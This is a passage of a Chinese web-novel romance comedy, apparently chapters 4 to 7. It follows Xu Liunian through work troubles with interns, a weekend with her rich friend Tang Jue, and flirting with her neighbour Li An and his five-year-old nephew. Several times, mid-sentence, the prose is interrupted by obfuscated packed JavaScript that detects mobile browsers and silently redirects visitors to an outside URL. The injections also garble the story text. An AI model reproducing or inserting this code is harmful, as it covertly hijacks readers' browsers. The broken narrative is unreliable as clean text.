见面发现油嘴滑舌在家啃老，毕业五年不想工作，相亲见面后找她借驾照扣分，说自己开车出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553750|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩分给扣光了。 忆及从前，许流年熟练翻出一张表格发了过去并附文：姐先填个表格我看看情况【微笑】 这是她从网上找的相亲信息表，从身高体重到第一学历，从感情史到mbti，家庭情况暂且不论，毕竟她是想谈恋爱不是想结婚，没必要那么冒昧打听人家家里事。 财务大姐一个太极手婉拒表格：哎呀我看不懂这个，你自己聊不就行啦。 您干财务跟我说看不懂Excel？ 许流年深吸口气，回了个死亡微笑表情，干脆不再管，继续工作了。 周五了，忙得很，她得完成自己的工作，午休也只是吃了饭没时间睡午觉光顾着跟上头对接新规则，甚至没来得及提前一小时提醒她手底下的人今天下午有会议。 不出意外，这次会议一团乱麻。 首先是她手底下带的卧龙凤雏两个实习生，卧龙选手实习一个月了，甚至还没熟悉规则，数据全错，没错，全错，没一个对的，但是认错态度诚恳，许流年刚说两句重话，这姑娘眼看就要哭了。 许流年人都麻了：“你这个周末好好看看审核规则，把这周内的数据处理完。” 她也不想让人加班啊。 但是一周过去了，进度条为零啊。 难道让她亲自一条条帮人改吗？ 另一位凤雏正确率高达百分之二十，因为有卧龙铺垫，许流年看她都顺眼很多，再加上这位重度奶茶爱好者每次开会都给大家点奶茶，吃人的嘴短，许流年尽量维持情绪稳定并跟她说以后别给大家买奶茶，他们年纪大了要控制血糖。同样的，许流年重新跟她讲解了新修改的规则，让她这周末一样回去改。 接下来最省心的就是外包选手了，他们这个项目，进度条一半靠许流年，另一半就靠这位外包跟他手底下新来的实习生。 好消息是，他手底下的实习生正确率只比凤雏高百分之五，没太打她这个组长的脸，——工龄不长，她倒是已经“社会化”了。 外包眼下一片青黑，明显也被实习生折磨得够呛。 磕磕巴巴一个会开完，许流年卡着点宣布散会，另外单独叫外包选手过来私聊。 外包选手谢飞同学似乎是被抽干了精气，抱着电脑软趴趴坐在椅子上挪了过来，“姐，我有罪你可以扣我工资，但是能不能别安排他来折磨我……” “我工作量已经够大了，我是外包，不是血包啊姐，看在我跟了你三年的份上，这位活爹就先抬走吧，不然我发誓，干完这个项目我就辞职。” 谢飞竖起三根手指，神色肃然。 许流年很能理解他的崩溃。 “你看看我，还拖着两位呢。”她轻声细语安慰，“放心吧，苦日子还在后头呢，这不是大环境不好，能找到更好的我还在这吗？你还得挣钱还房贷呢，乖，好好干，等把他带出来了你不就轻松啦？” 谢飞气若游丝：“他一个把回车当空格使的天才，我带得出来？你太看得起我了。” “不慌，我都给人当了一个月的欧路词典，我有说什么吗？” “……还是你稳得住啊姐。” 4. 第 4 章 安抚好老臣，许流年终于能结束一周的工作，正常下班。 不知道是不是总部那件事影响大了，他们这周五竟然能准时五点下班，这让习惯加班的许流年都有点无从适应，看着外边亮堂堂的天空，缓慢的车流，心情都变得舒畅起来。 终于，不用赶晚高峰回家。 她直接开车去了唐珏家。 唐珏家就在附近，开车也不到十分钟，小区停车位紧张，但不要紧，唐珏在这个小区有三套房，三个车位，今天特地挪出一个车位给她的小车。 其实唐珏也问过她要不要就在她这边住，不住一起租她的房子也行，但许流年总觉得再好的闺蜜也不能总占人便宜，吃软饭这事她干不出来，所以当年义正严辞地拒绝了唐珏的邀请。 但是如果现在唐珏再问她，她肯定当晚收拾东西滚来住。 要什么志气，软饭有什么不好吃的，通勤三小时是她愿意的吗？有得选她当然要舒舒服服过日子啊，哪个好人愿意天天堵路上围观傻逼啊。 可惜现在另外两套房已经租出去了，租金不菲，许流年宁愿拿房租去补仓也不想花半个月工资租房，所以现在是想后悔也晚了。 她这一天都很忙，等到唐珏家，从地上捞起西瓜抚慰心灵的时候才突然接到财务大姐微信电话质疑她为什么不通过人家好友申请。 许流年这才记起来这回事，耐着性子解释自己刚到家。 财务大姐：“你们今天例会是吧，哎呀是我着急了不好意思啊，我没有催你的意思，就是那边给我一通数落情绪上来了，那你忙，好好聊哈～” 挂断电话，许流年坐地板上抱着西瓜狠狠rua了一把。 大姐这人吧，别扭就在这。 说她坏，倒也不至于，她也没做什么伤天害理的事，但说她好，又很勉强，因为她总是隔三差五出来膈应你一下。 对这样的人，许流年不敢随便发作，也应付不来，只能敬而远之。 “你别抱它了，它都半个月没洗澡了。”唐珏从卧室出来，步履蹒跚给自己倒水喝。 明显是刚补完觉。 “西瓜一点都不脏，姨姨不嫌弃～”许流年掐着嗓子rua狗头，西瓜被她rua的发型都乱了四脚扒拉木地板毛绒绒一团就这样在她怀里翻滚。 这只西瓜地，哦不，西高地，是唐珏被网图种草花重金买回来的，它每个月的生活费比许流年这个社畜不知道翻了多少倍，活得极其滋润，每天就是在唐珏两百平房子里蹦跶，每个房间来来回回，小短腿不知疲倦似的，——它有自己的房间。 五十平。 冷知识，许流年在家的房间加上飘窗也不足二十平。 西瓜也很乖，不拆家爱干净，除了活跃一点比较粘人外没什么缺点，长得还超级可爱，完美踩在许流年的审美点上，许流年每次过来都要跟西瓜一起睡才行。 拆了包小零食喂西瓜，许流年一手举着手机狂拍，然后挑选美照发朋友圈。 她顺便刷了下咸鱼，依旧是已读不回，显得她那句“小哥哥”像是骚扰良家妇男。 许流年决定扳正自己的形象。 她精挑细选了一张西瓜绝萌神图发了过去。 然后她就眼睁睁看着那个已读标出现，等了足足三分钟也没回复。 呵，有点意思。 “晚饭点外卖吃火锅咋样？” 唐大小姐要开始觅食了，不然她得饿得低血糖。 许流年单手抱着西瓜另一只手打字，扭头嗯了一声，就抱着西瓜去沙发上坐着了。 打打删删，最后还是客气地发了一条消息过去：要不加个微信吧，以后有啥多余的植物也能互换。 这次连已读都没了。 许流年躺沙发上，侧头看着客厅全身镜中的自己。 她到底是差在哪啊？对男人一点吸引力都没有吗？ 手机嗡嗡震动，像是为了印证她的想法，刚通过好友申请的第N位男嘉宾发来消息。 Elvis：朋友圈是本人照片吗？很漂亮哦，这周末有空出来吃饭吗？【坏笑】 看着末尾那个不断挑眉毛的黄豆表情，许流年面无表情，眼神冰冷的像是在大润发杀了十年的鱼。 唐珏拿了两瓶冰可乐递给她一瓶，坐下来脑袋一伸就看见她消息界面，吹了个流氓哨：“哟，新男嘉宾？” “你未来老公。” 唐珏立马回怼：“你老公。” “你老公。” “你老公你老公你老公！” “你老公你老公你老公你老公！” 两人骂累了，许流年也回复消息婉拒这位男嘉宾，才商量今晚吃什么。 她上了一天班也不想出门吃饭，点外卖送到家吃火锅也挺好的，反正唐珏家里有阿姨收拾卫生。 唐珏家足够大，等她洗完澡，许流年也去卸妆洗漱换上睡衣，火锅也就到了。 两人敷着面膜坐在客厅茶几边吃饭，一人屁股下一个柔软坐垫，西瓜早就闻到味道，狗盆里的进口狗粮也不吃了，眼巴巴看着她们，乖乖坐好等着被投喂。 唐珏当然是给它准备了的，老规矩点的鸳鸯锅，她们吃辣锅，小狗吃白水的。 只是肉片刚捞上来有点烫，唐珏放在一边晾凉。 吃了一阵，许流年吃累了，靠在沙发边摸出手机查看消息，竟然还是没有已读。 唐珏：“等谁的消息呢？” “大平层热植墙。” 唐珏：“？？？” “我，”许流年忽然认真放下手机，半是惆怅半是无奈，“应该是想谈恋爱了。” “……有点油腻了许流年。” “……哦，排卵期被激素控制了。” “可以理解。”唐珏能感同身受。 每个月总有那么几天特别想男人，熬过去就好啦。 许流年抽空喂狗，自己也吃了不少，还喝了点小酒，处于一种飘飘然的微醺状态。 她酒量很好，长这么大就没醉过，白的红的都能来，只是平时要上班要开车，所以没放纵自己养成喝酒的习惯，偶尔周末了才会跟朋友一起解解压。 “吃完你收拾哈，我得工作了。”唐珏睡了一整天，终于想起来干活，“下楼扔垃圾顺便带西瓜下去遛遛，它三天没出门了。” “行。” 许流年熟练收拾茶几，锅碗瓢盆放进洗碗机，再擦了茶几，整理好垃圾，开窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走了过来，小男孩以为他是妥协了，一抹眼泪赶紧迈着小短腿跑步跟上。 直到他停下脚步，“喂狗有剩的能不能给我？我喂他。” 那个往下坠着的“他”伴随着男人微微侧头的蔑视，由于身高差，他看身边小孩的感觉跟看狗其实是差不多的。 小男孩还蓄着眼泪的大眼睛眨巴眨巴，一开始应该是没反应过来，但没多久竟然真的低头看向她手里、西瓜还没吃完的、被碾碎的淀粉肠。 许流年：“……” 西瓜：“……” 西瓜懂事地后退一步，像个三好学生似的端坐着，然后抬头看了看小男孩，又看看许流年，示意她要把淀粉肠让给他吃，眼神中甚至带了几分悲悯。 沉默之中，男人冰冷的声音响起：“狗都比你懂事。” 许流年：“不要侮辱狗。” 小男孩懵懂抬头看向她。 许流年：“……也不要侮辱未成年。” 救命，她左右脑互搏了。 5. 第 5 章 小男孩叫李璋，小名圭圭。 这会儿情绪已经稳定下来，嘴里叼着根棒棒糖坐在花坛边跟西瓜玩。 终究是没让他吃淀粉肠。 “我侄子，肠胃不好刚出院，”他解释道，“他妈出差了在我这里放两天。” 都住院了啊，那确实是不能吃淀粉肠。 许流年庆幸自己没贸然给圭圭吃。 两人吹着夜风在花坛边喂蚊子，她时不时抬头欣赏面前的男人。 明明是前天就见过，那时候许流年还觉得他是个弟弟看着细皮嫩肉的，这会儿不知道是在夜色下，还是最近带孩子带得神经衰弱了，眼下的青黑显得人格外憔悴，衬得这人冷白皮都苍白了，整个人颓丧的气质更像是经历社会毒打的成年人，哦对，侄子都这么大了，他应该不至于太年轻……哦不，也说不准的这种事。 她喝了酒，觉得疲惫站不住，也不嫌弃花坛有灰坐下休息吃第二根淀粉肠，他却站着，解释完从口袋摸出手机似乎是在回消息。 许流年看见他手机，来了精神，掏出自己的，挂上礼貌的微笑：“加个微信呗～” 他扭头看她。 一站一坐，两人之间也是俯视，但比刚刚看自己侄子那种看狗一样的眼神要正常的多，他也没说什么，就拿手机扫。 许流年扔了手里的竹签狗腿子上身：“我扫您。” 加完，她强忍笑意，又问：“我怎么备注？” 他低头打字，她就收到了他发来的一条消息。 XXXXX：李黯 补仓娇妻带球跑：许流年 打完字，许流年才意识到自己微信昵称比起咸鱼昵称更见不得人。 她平时两个微信号，工作那一个老老实实用本名，私人微信号就习惯放飞自我隔三差五就改，什么我在军工躲牛市、今天又卖飞了吗、抄底抄在山顶怎么办…… 生动刻画了她的炒股生涯。 好在许流年心态平稳，忍着羞耻感，装出一副自然模样抬头跟他对视。 他垂眼视线从自己鼻尖掠过落到她脸上。 “被套了？”? “……” 三个字让许流年忆及前两年买的医疗股瞬间绷不住悲愤扭头，转去rua狗头。 大A股民哪有不被套的？涨了她心慌，牢牢被套住才心安，再说又不是她一个人被套，多少散户被埋了，她也就是投了小几万跌了二十个点而已……嘤嘤嘤。 许流年不想跟他说话了。 过了会儿，才又听见动静。 “走了。” 许流年又抬头，发现他看着前方，明显不是在叫她，圭圭依依不舍告别西瓜，又跟许流年说再见，就跟他舅走了。 遛完狗许流年也无事可干，那点醉意也被夜风吹散，但回去路上看着加上的微信，心情愉悦得像是吃了十个涨停，——那是梦里才有的景象。 大平层好哇，跟人打好关系以后想要什么小苗要不到？那她不就相当于拥有了一座免费苗圃吗？ 一想到苗圃许流年就飘飘然。 回唐珏家换上睡衣，睡前还去把唐珏这里她送的小苗巡查了一遍。 唐珏其实对植物并不怎么热爱，但是家里经常会有阿姨打理，再加上许流年每次过来都会关注，帮忙修剪施肥换盆之类的，所以始终长势良好。 尤其是在大平层的加持下，明明都是一样的品种，甚至她的那棵是母本这里的这棵只是高压繁殖下来的小苗，竟然看着比她的都要茂盛许多，在精致昂贵的装修中显得高不可攀起来。 密叶猴耳环能适应室内光照环境，只要控制得当，能长成室内的小树，只要一棵氛围感就能拉满。唐珏家里这棵就放在落地窗、沙发旁，在恒温系统中活得格外滋润，因为恒温，就算江城夏天暴热冬天下雪也不影响它的生长，一般猴子太热或太冷就会休眠，许流年家里没那个恒温条件，她家的猴子向来长势缓慢，而唐珏家这棵如今连盆高度接近一米五，枝繁叶茂长势喜人，只是年份短，主干粗度比不上她家母本。 住的也是几百块带雕花的帝罗马花盆，看得许流年心痒难耐想偷回家，奈何实在太重她就算搬回去也没办法用，因为她家植物多空间小，植物们都挤在一起，帝罗马好看是好看，但是太重太大，占地大了盆土又少，不经济实惠。 给这边的猴子跟其他热植浇水施肥修剪残叶打顶控高，处理完才去睡觉。 唐珏家有她的客房，隔音也很好，唐珏在自己房间噼里啪啦工作丝毫影响不到她睡觉，当然，睡前还是先去骚扰新加上的弟弟。 对着聊天界面思忖半晌，她决定还是表现得成熟稳重一些。 补仓娇妻带球跑：我看你家没有猴子，我正好新繁殖了几个高压苗，需要吗？ 她看不见自己的ID。 如果看得见的话，就会发现她顶着这个ID给人发消息，无论如何也成熟稳重不起来。 *** 另一个豪华大平层内。 刚被保姆伺候洗完澡换上睡衣套装的圭圭正在热带雨林穿梭，时不时凑近去看那些张牙舞爪的气生根，或是跑到雨林缸前寻找隐藏其中的小动物，他动作很小心，避免伤害身边任何一片叶子一段树根。 他不常来舅舅家，但是很清楚一旦到了这个家里，他就得绷紧弦保持乖巧，这些植物都是舅舅的宝贝，如果碎在他手里，他就等着被发配回家吧。 圭圭还记得去年也就是他印象中第一次来舅舅家，那时候舅舅比现在更可怕，一直冷着脸，也不跟他说话，他模样好看在幼儿园向来讨人喜欢，主动去讨好竟然也被冷落，心理落差太大当场哭了出来，哭了十几分钟实在装不下去还收获舅舅一枚白眼。 后来回家才知道，他小时候来舅舅家玩，一个下午摔碎了上百盆植物，揪断的叶子铺满整个客厅，所以那天再次见面舅舅才没给他好脸色，他自然也意识到了为什么两岁那年自己的玩具莫名其妙全部不见了。 一报还一报，很公平。 已经五岁即将上小学的圭圭还是很识时务的。 而且长大了，他也很喜欢舅舅家的植物们，妈妈有洁癖，不允许他在家养，所以每次来舅舅家，他都想尽量留长一些。 光看没什么意思，圭圭看腻了就跑去书房找他舅。 他舅李黯坐在乌漆嘛黑的书房内看电脑，上边红红绿绿的线比他幼儿园作业还难懂。 圭圭趴着书桌边抬头看他：“舅舅，我能给植物浇水吗？” “滚。” “好嘞～” 滚，就是滚去浇水的意思。 因为如果舅舅不允许他浇水，就会抽空看着他，反问他，你觉得呢？ 圭圭乖乖跑出去，还轻手带上门，欢天喜地去找水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553752|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶浇水。 忙活半天，终于，他舅从书房工作完出来了。 “李璋，睡觉。” 训狗的语气。 被叫大名的圭圭头皮一紧，赶紧放下水壶小跑过来。 看着他已经湿透的睡衣，李黯深吸口气，拎着人后领到客房，先去浴室拿浴巾丢给他让他擦身体，又从衣柜翻出一套睡衣丢给他让他自己换上。 圭圭平时都是保姆伺候，这会儿保姆给他洗完澡换好衣服就去隔壁休息了，他自己穿衣服还不太利索，但在舅舅威压之下还是老老实实给自己剥干净擦身体。 到穿衣服这一步的时候抬头看他：“舅舅，没有内裤。” 李黯从衣柜随手翻出一条短裤。 “这是泳裤哦。” 李黯眼下的青黑更甚从前，头脑发麻地把泳裤扔进去随手扯了条卡通小狗的。 “其实我喜欢奥特曼……” “闭嘴，换上。” 这破小孩再不走他就要精神衰弱去跳楼了。 李黯很不喜欢家里进入陌生人，他对自己的领地有着超乎寻常的排外心理，李璋也就算了，独自住院几天，——vvvip病房，身体养好了他姐又忙着飞国外出差，只能把孩子寄养在他家这是无可奈何又是亲侄子还，但是他一个小屁孩竟然还得带保姆跟司机，这两天李璋家热闹得跟地铁二号线似的，来来往往全是人，让他原本就糟糕透顶的睡眠质量跌破二十日线创造了历史新低。 磕磕巴巴穿上衣服，李黯又指挥他把浴巾跟脏衣服放进脏衣篓。 他也照做。 果然，人类的潜能是逼出来的。 小少爷也不是非要保姆不可。 圭圭爬上床，钻进被窝眼巴巴看着他舅：“舅舅能陪我一起睡吗？” “不能。”他不习惯身边有人，不然更难睡着。 “行吧。”圭圭也只是试探一问，他也知道他舅最近睡眠不好，跟他妈妈一样，“那舅舅晚安。” 晚安个屁。 今天周五，明天周六后天周日，这小子还要在他家呆一个礼拜，该死的幼儿园周五竟然会提前放学，周六周日也没个补课，让李璋这个臭小子折磨他的时间变得又臭又长。 安顿好他，李黯终于清净下来，去客厅找到了自己顺手丢在桌上的手机，屏幕亮起，收到几条新消息。 补仓娇妻带球跑：睡了吗？你要是需要猴子我最近有空可以给你送过来。 补仓娇妻带球跑：反正离得近嘛，不用跟我客气。 补仓娇妻带球跑：明天给我回复哈，我睡觉咯。 补仓娇妻带球跑：晚安～ 这么多条消息看得他神经疲惫，尤其是那个抽象抓狂唐僧头像顶着娇妻的ID频繁出现，在他脑子里已经留下了不可磨灭的深刻印象。 家里多了个话痨也就算了，线上也不干净了，大半夜还被人骚扰。 但他还是耐着性子读完，又回复：不用，我有猴子。 想起他书房的那棵养了八年的密叶猴耳环，李黯拿着手机进书房打开灯随便拍了张照片发过去。 他捏着手机靠在书桌边沿，看着屏幕上断断续续弹出“对方正在输入中”，却迟迟没有新消息发过来。 直到他失去耐心，准备继续工作的时候，对方才发来一条新消息。 补仓娇妻带球跑：打扰了。 6. 第 6 章 原本想秀一秀自家珍贵猴子母本的许流年还在相册挑选美照，就收到对方发来的一张照片。 树叶遮天蔽日、主干手腕粗细、树型接近完美的巨、大、密叶猴耳环。 一看就知道入手比她早，这个粗度，得养七八年。 七八年前就开始养猴子，不愧是大平层。 她家那棵现在再称什么母本就显得格外可笑，许流年恨不得把自己发过去那几条猴子相关的消息统统撤回。 她到底在秀个什么劲儿。 被子一裹，许流年带着悲愤睡着了。 第二天睡到自然醒。 打工牛马所谓的自然醒其实跟平时上班差不多，生物钟似乎刻进了基因，许流年睁开眼摸到手机一看是熟悉的七点整，给自己气笑了，扣下手机扭头继续睡。 终于又睡了半小时，又醒了，她决定不再跟自己的身体玩对抗，爬起来洗漱，换好衣服准备下楼吃早饭，就听见唐珏卧室门开着传来熟悉的短视频嘎嘎笑的动静。 又通宵了她的好闺蜜。 这种死亡作息，她们不猝死谁猝死啊。 “早饭吃什么？我下楼买。”许流年问了一嘴。 “我不是很饿，冰箱里有馄饨，要不咱们吃馄饨？” “我想吃糊汤粉。”许流年昨晚睡前就想好今天要吃什么了。 “那行，给我来一碗，加油条多胡椒粉。” 许流年朝她比了个OK，换鞋出门去。 电梯玩手机看了看消息，大平层没再回复她，反而是被她婉拒吃饭邀请的第N号坏笑男嘉宾昨晚深夜发来小作文。 太长了。 她选择无视。 又去复盘昨晚给大平层发的消息，消息界面都是她一长串一长串卑微的绿色气泡。 看得许流年一大早绿气盈头，给她一种这周一开盘会很不利的预感。 到底是谁规定微信气泡是绿的啊？这么绿不要命了？能不能为她这种缅A玩家的身心健康考虑一下啊？ 又在心里抱怨想钓的不上钩，不想钓的频繁骚扰。 毁灭吧。 唐珏家楼下有一家老字号糊汤粉，味道跟许流年小时候吃的一模一样，每次来她家她都心里惦记。 她来的挺早，付了钱等着老板娘打包。 反正糊汤粉这玩意不像热干面放久了不好吃，拎上去慢悠悠地吃也行。 买完糊汤粉，她又去买了两杯豆浆。 这年头豆浆都是四块钱一杯了，真离谱啊。 但好歹不是豆奶冒充，纯正豆浆味，许流年心里也就稍稍平衡了一些。 毕竟她也曾买过四块钱一杯的豆奶啊。 上楼前她特地在楼下多转悠了两圈，看能不能偶遇大平层，结果当然是一无所获，也对，除了牛马哪个年轻人这个点起来吃早饭。 两碗糊汤粉带回家，许流年自己的是柴鱼片，给唐珏买的猪肝肉丝，她天天熬夜人看着比她还虚，得吃点肉跟内脏补补气血。 唐珏本来没什么胃口，但被热气腾腾的糊汤粉跟油条一下子勾起了食欲，捏着筷子将油条泡进去，嗦了两口粉，整个人都活过来了。 “定了下午健身房，我一会儿补个觉，起床咱们再随便吃点，健完身回来换身衣服就去吃饭。” 一天的行程都被安排好了，许流年这个p人无需操心，跟着唐大小姐的安排走就行。 唐珏一个人住，家里有一个巨大的衣帽间，两人身形其实差不多，也就是许流年个子高一点点，衣服基本上是能互换着穿的。唐珏平时买衣服也买得多，不少吊牌都没摘就挂上了，而她又时时刻刻想着自己的好闺闺，基本给自己买的时候也会给许流年买一些。 唐珏吃完早饭睡觉去了，许流年去衣帽间自己的专门衣柜翻了一套运动服，鉴于晚饭要去吃漂亮饭，今天江城天气也不错，她就挑了一件白底紫藤碎花抹胸吊带裙。 这个牌子的衣服许流年平时也买得多，以她的工资买小几千的衣服也不算有压力，喜欢也是真的喜欢，对她来说还特别合身，只是她家出的都是礼服裙，平时上班那群同事根本不值得她穿，今天好不容易有机会，许流年看着裙子也想好了今天的妆容风格。 至于去健身房，她本身也不热衷健身，所以也不怎么在意，挑了一套宽松运动服就完事了。 平时上班上得人都快虚脱，再去健身简直就是在她本不充盈的气血中釜底抽薪，要不是快入冬眼看着贴秋膘而她最近胃口太好吃得有点多，她也不至于今天非得去健身。 作为低精力人，许流年为了能有一个良好的精神面貌去健身房，还特地睡了个午觉吃了碗牛肉拉面才出门。 气血充盈得像是从没来过月经一样。 对比作息乱七八糟打着哈欠的唐珏，她明显更有活人气息。 许流年主动承担司机任务，把两人送到了一公里外的健身房。 这点距离为什么不走路？ 当然是唐大小姐不乐意。 一进健身房，许流年蹭着闺蜜的富婆光环，享受了一把富婆待遇。 唐珏的教练是个一米九黑皮大高个，一开始注意到这人不是别的，是他身上散发的荷尔蒙气息，——这男的一看就气血足，不用来月经真好啊。 唐珏给她挑的还是那个八块腹肌白皮小奶狗，上来就跟许流年打招呼：“姐姐有段时间没来了啊。” 许流年维持着成年人的体面微笑回复：“最近工作忙，出差呢。” “我还以为姐姐有新人了呢。” “……” 不行，她果然受不了这个。 察觉到气氛中的尴尬，小奶狗……哦不，她的教练就赶紧扯开话题带她去热身。 大概是知道了她的性格，接下来教练都没再用那种撒娇的语气跟她拉近距离。 这年头，牛马都是要挣钱的，千人千面很寻常啦。 热身半小时，力量训练一小时，再加半小时有氧，许流年硬是靠着中午一晚牛肉拉面撑下来了，偶尔组歇试图寻找她的好闺蜜，就发现唐珏不是躺在瑜伽垫上就是挂在器械上，能不动就不动，宛如一条跳上岸即将脱水的海鱼，磕磕巴巴混完两小时，再让教练帮忙找角度拍照半小时，富婆终于心满意足，打道回府。 许流年正在回消息。 刚有个微信电话进来她在锻炼没看见，这会儿才发现是卧龙给她打过来的，已经是十分钟前的事了，连带着还有十几条未读消息。 可见形势之严峻。 许流年点进去仔细看。 忽略那些哭唧唧的表情包，挑重点看。 这次不是把她当欧路词典问生词，而是带着一连串的图片询问她这些数据是否有误。 许流年第一眼倒是没发现有什么错误，却发现了更严重的问题。 她噼里啪啦快速打字：这些都是你处理的数据？你做完之后没有提交吗？ 荔枝泡泡：没有啊，我打算存着之后再提交的。 许流年眼前一黑继续打字：数据超时不提交会被系统回收的。 荔枝泡泡：啊【笑哭】 荔枝泡泡：那怎么办，我之前还有好几组数据。 荔枝泡泡：还能找回来吗？ 找回来？她去回收站找回来吗？啊？？？ 许流年压着火：你先放着，周一我上后台看看。 许流年又记起来：这些没提交的数据你也写进每日工作量的表格里了？ 荔枝泡泡：是啊。 许流年眼前一黑又一黑。 许流年：全重复了。 她不想跟这位说话了。 刚健完身手脚飘逸的她气血上涌整个人都快炸了。 已经拍完照编辑完朋友圈发布的唐珏看她聊完工作，过来安慰：“没事哒没事哒，工作而已啦～” 许流年还是被气得脑瓜子疼。 一想到自己周一上班还得去收拾烂摊子整个人都快自燃了。 毁灭吧，荔枝泡泡。 许流年这个人，平时情绪稳定又狂躁，但来的快也去得快。 因为她现在在放假，没办法滚去公司处理，那能怎么办呢？当然是不要影响美好的假期，回家洗澡化妆收拾收拾准备出门。 去健身唐珏都要全副武装，去吃漂亮饭当然也是得穿得美美的。 出片，一定要出片。 本来许流年这个人拍照技术不怎么样，硬是在唐大小姐的调教下能入眼了。 两人提着裙摆扛着相机，唐珏叫了司机送她们去餐厅，——两人都是高跟鞋没办法开车。 新开的米一餐厅，装修跟人均价格完美契合，繁杂精致的水晶灯下桌上餐具边沿映着蜡烛烛光，无处不透露着矜持的华丽，身为植物人许流年最先注意到当然是长桌上的粉紫配色的鲜花，一看就知道是真花，她很满意，因为她特别讨厌假花。 到地方就知道这里肯定能出片，抱着相机的许流年信心满满，就连构图都想好了。 唐珏定了个风景极佳的位置，今天还是特别菜单，某两位知名大厨四手联弹，刚坐下就收到了一张英法双语菜单，然后有服务生上来介绍。 许流年能看得懂英语法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这张照片唐珏很满意，氛围感十足，她闺蜜就适合这种明艳张扬大美女风格，欣赏之后再欣赏，唐珏还叮嘱她回去记得发朋友圈，也不枉她们精心打扮来吃这一顿。 看她收拾东西，许流年已经有点醉的脑子活动起来，“要走了？” “是啊，差不多了。” 相机被她拿着，许流年手里空空的还以为丢了什么东西，找了一圈发现并没有，才跟着唐珏出去，服务生拉开门，唐珏正好接了个电话，去旁边打电话，许流年站在车前等她。 掐腰的抹胸裙，卷发随手挂到耳后露出半张脸，许流年这个人天生骨头软根本站不住，穿着高跟鞋也很不舒服，就靠着车，捏着手机回消息。 从远处看，像是模特在拍照，摄影师却不知道在哪里。 身边忽然停下一辆车，低调的黑色，没看清车标，先蹿下来一个小孩。 “舅舅，那是不是你朋友？” 这声音有点熟。 许流年从组员刚发过来的修改数据中抬头。 真巧啊。 她抬手跟人打招呼。 等等，大平层叫什么名字来着？ 圭圭先跑过来，仰头看她夸张地惊呼一声，“姐姐今天跟昨天不一样！” 小孩子就是直白，许流年收了手机，笑着明知故问：“哪里不一样？” “今天更漂亮！”圭圭说完又补充，“昨天也漂亮哦。” “嘴真甜，你们来吃饭？” “嗯嗯，妈妈给我跟舅舅定的餐厅。” 前几句话还是跟小孩寒暄，她不好忽视旁边的大人，问完才抬头看向他。 正好跟他的视线撞上。 他似乎是被撞破什么，视线又迅速飘到了圭圭身上。 看了很久？ “裙子好看吗？”许流年喝了酒胆子也大了，直接上头开撩。 “嗯。” 从刚刚被撞破一瞬间的慌乱中镇定下来，李黯将圭圭试图碰人家裙摆的贼手抓紧，才跟她对视，终于能顺理成章彻底将目光落到她身上，视线在裙摆上逡巡片刻，似乎是在思考该怎么评价。 “挺符合你的人设。”他说 没头没脑的一句话。 许流年一头雾水，她什么时候立人设了？AAA出小苗回血老王？ “什么人设？” “娇妻。” “……” 她宁愿是老王。 7. 第 7 章 许流年丝滑掠过这个话题，改继续跟圭圭聊天。 “姐姐要跟我们一起吃饭吗？”漂亮男孩盛情相邀。 许流年扭头看了眼玻璃窗内烛光鲜花，嗯，挺美好的，又想起自己刚刚吃的猪皮冻，抿唇纠结几秒还是拒绝：“不了，姐姐已经吃饱了。” 李黯：“我说过，这家餐厅很难吃。” 圭圭：“可是姐姐说吃饱了。” 许流年：“……就是难吃的意思。” 一时之间因为吃饭问题产生了新话题。 三人正在讨论这家餐厅的菜单，气氛甚至称得上和谐，身边忽然传来一声怪叫，许流年下意识扭头朝声响处看过去，就看见一个硕大的黑色垃圾袋蹲在地上。 是她的好闺蜜唐珏，也不嫌脏，黑色裙摆迤地，再加上又在暗处看不清，乍一看还真像一个黑色垃圾袋。 她从地上起来，抱着相机朝他们吹口哨：“一家三口。” 许流年刚想解释。 唐珏继续：“霸总娇妻带球跑：天才宝贝三岁半。” “……” “……” 圭圭：“我五岁了哦。” 许流年被尬得浑身起鸡皮疙瘩，高跟鞋一撑，把自己站直了，唐珏已经走过来给他们看刚刚拍的照片。 许流年没好意思直接看，偷偷瞥了一眼。 照片中两大一小同时看向镜头，她微微俯身本来在跟圭圭说话，李黯一手拽着圭圭后领，脸上跟她是一样的疑惑迷惘又看似十分淡定。 看得出来这两人都很装了。 照片看起来确实挺……古早的。 许流年想撩人，但也不想一步到位直接天才宝贝三岁半啊，那多冒昧啊，他们才见几次面就谈孩子？一想到孩子她都快萎了。 “放心，照片我不会发出去的。”许流年就差伸手发誓。 